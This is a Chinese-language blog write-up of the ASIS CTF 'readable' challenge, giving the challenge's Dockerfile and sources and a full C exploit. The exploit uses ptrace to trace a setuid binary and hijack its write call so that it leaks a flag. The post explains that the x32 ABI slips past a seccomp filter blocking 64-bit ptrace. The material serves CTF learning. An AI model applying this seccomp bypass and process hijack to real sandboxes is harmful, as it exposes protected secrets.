readable

readable

这周在学kernel编译和调试,用上次asisctf的题水一水

Dockerfile:

FROM ubuntu:22.04

COPY ./stuff/readme /home/pwn/readme
COPY ./stuff/run /home/pwn/run
RUN chown -R root /home/pwn/*   
RUN chmod +x /home/pwn/run; 
RUN chmod 111 /home/pwn/readme;
RUN chmod u+s /home/pwn/readme;
RUN useradd pwn;
CMD ["/home/pwn/run"];

sh文件:

#!/bin/bash
mkdir stuff 2>/dev/null
gcc ./sources/readme.c -o ./stuff/readme;
gcc ./sources/run.c -o ./stuff/run;

docker build . -t readable

deploy.py里面没啥,就一个部署指令参考,我用的是:

sudo docker run --privileged --network=none -i --rm -v /home/lmy/Desktop/asisctf/readable:/tmp readable /bin/bash

-v是挂载我的readable文件夹到/tmp目录下,我直接把exploit编译在readable,方便运行

然后就是source文件夹里的两个源码

readme.c:

#include <stdio.h>
#include <unistd.h>

const char *flag = "ASIS{test-flag}"; 

int main(){
	flag = "No flag for you";
	puts(flag);
	return 0;
}

run.c:

#include <linux/audit.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#include <linux/unistd.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <sys/ptrace.h>
#include <sys/syscall.h>
#include <unistd.h>

#define syscall_nr (offsetof(struct seccomp_data, nr))
#define arch_nr (offsetof(struct seccomp_data, arch))
#define ARCH_NR AUDIT_ARCH_X86_64

#define VALIDATE_ARCHITECTURE                             \
  BPF_STMT(BPF_LD + BPF_W + BPF_ABS, arch_nr),            \
      BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, ARCH_NR, 1, 0), \
      BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL)

#define EXAMINE_SYSCALL BPF_STMT(BPF_LD + BPF_W + BPF_ABS, syscall_nr)

#define DISALLOW_SYSCALL(name)                            \
  BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, __NR_##name, 0, 1), \
      BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL)

#define ALLOW_SYSCALLS BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW)

static int install_filter() {
  struct sock_filter filter[] = {
      VALIDATE_ARCHITECTURE,
      EXAMINE_SYSCALL,
      DISALLOW_SYSCALL(ptrace),
      DISALLOW_SYSCALL(process_vm_readv),
      DISALLOW_SYSCALL(process_vm_writev),
      ALLOW_SYSCALLS,
  };
  struct sock_fprog prog = {
      .len = (unsigned short)(sizeof(filter) / sizeof(filter[0])),
      .filter = filter,
  };

  if (prctl(PR_SET_SECCOMP, 2, &prog)) {
    perror("prctl(PR_SET_SECCOMP)");
    exit(1);
  }
  return 0;
}

int main(char **) {
  install_filter();
  if (umount("/proc")) {
    perror("could not umount procfs");
    exit(1);
  }
  if (setgid(1000) || setuid(1000)) {
    perror("could not drop privs");
    exit(1);
  }

  char *args = NULL;
  execve("/tmp/exploit",&args,&args);
  return 1;
}

大概流程是 run.c 会先禁用ptrace,然后执行 exploit。有且仅有exploit可以被攻击者任意控制。readme则是suid程序,只有执行权限。flag即在readme的只可读的段中,但是没有读readme文件的权限,因此不能直接cat。

但它只是禁用了64位ptrace的syscall系统调用号,有x32 ABI的存在能打破这一点.

那么思路是写ptrace去跟踪劫持readme去输出elf内的flag。虽然禁用了ptrace,但是禁用的是x64下ptrace的系统调用号,那么可选的方法是用x86的ptrace或x32的ptrace。那么这里为什么x86的ptrace不行呢?

想劫持readme,肯定要去用ptrace控制内存或者寄存器,而x86ptrace参数只能是32位,而x64是64字节的,控制不了前32字节。比赛时想法是先在x64程序内retfq转到32位,然后写32位shellcode去调用ptrace,再返回到64位程序。但是好像没什么意义,只有32位能调用ptrace,又不可能进入内核去修改页表,寄存器的映射。。。到此就卡住了

赛后才了解到x32 ABI,x32就能实现64位的运算。实现64位的运算的我的理解是系统调用的参数能够是64位的,因为ABI是内核提供的,用户态也只能通过系统调用去访问内核的资源。所以这就解决了x86的ptrace不能传64位参数的问题。

x32 ABI

注意是x32不是x86。有什么区别呢?

其实就是libc和ld不同,x32链接的是/libx32/libc.so.6

libc不同的原因是系统调用不同

Z8FOJsYLjk2PxMf.png

上图是调用ptrace的32位ABI,可以看到rax不是传统系统调用号,而是通过表去跳转

#define __X32_SYSCALL_BIT 0x40000000

那么为什么用x32呢

7lUB2QKscOFouLN.png

可以看到x32可以支持64位运算

x32编译参数是 -mx32 ,不同于x86 -m32

exp:

#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdint.h>
#include <errno.h>
#include <sys/personality.h>
#include <sys/user.h>
#include <sys/mman.h>

int main()
{
    pid_t traced_process;
    struct user_regs_struct regs = {};
    long ins;
    long long data_base;
    int flag =0;
    int pid = fork();
    if (pid == 0)
    {
        ptrace(PTRACE_TRACEME, 0, 0, 0);
        execve("/home/pwn/readme", NULL, NULL);
        puts("exec failed");
        return -1;
    }
    while (1)
    {
        // ptrace(PTRACE_SYSCALL, pid, NULL, NULL);  
        ptrace(PTRACE_SINGLESTEP, pid, NULL, NULL);
        waitpid(pid, 0, 0);

        ptrace(PTRACE_GETREGS, pid, 0, &regs);


        if (((regs.rcx >> 40 ) == 0x55)&&(flag == 0))//rbx
        {
            printf("%llx\n", regs.rcx);
            data_base = (regs.rcx+0x1000) & ~0xfff;
            printf("%llx\n", data_base);

            flag+=1;
        }

        if (((regs.rax == 1))&&(regs.rdx == 0x10&& regs.r12 == 0x10))//rbx==0x10
        {
            printf("%llx\n", regs.rcx);
            regs.rdi = 1;
            regs.rsi = data_base;
            regs.rdx = 0x2000;
            ptrace(PTRACE_SETREGS, pid, 0, &regs);
        }
        ptrace(PTRACE_SETREGS, pid, 0, &regs);
    }
    return 0;
}

exp的使用大概说下,ptrace跟踪readme后,持续获得寄存器reg的值,与rcx对比,如果rcx第六个字节是0x55,那么直接获取此时的rcx的值(此处rbx也可,根据模拟调试readme可看出),这时的rcx是0x55........是一个text段附近的值,由于该值与flag偏移固定,直接可以据此算出flag的实际地址,后面只需要根据对比寄存器,三重限制对比后劫持一个write调用,打印出flag即可。

模拟调试readme,可patchelf提取出的libc版本,然后gdb,b main,vmmap寻找flag地址,并跟踪到write函数执行前和执行后,查看前后哪些寄存器没有变化,可以据此用ptrace定位并劫持write函数。

拿到flag之后觉得不应该用 ptrace(PTRACE_SINGLESTEP, pid, NULL, NULL);去跟踪每一条指令,而是应该用 ptrace(PTRACE_SYSCALL, pid, NULL, NULL); ,只跟踪系统调用就够了,user_regs_struct还有orig_rax这样专门跟踪系统调用号的成员,后面去劫持write时用了三个寄存器才能准确定位到write。

posted @ 2022-10-28 02:40  brain_Z  阅读(210)  评论(0编辑  收藏  举报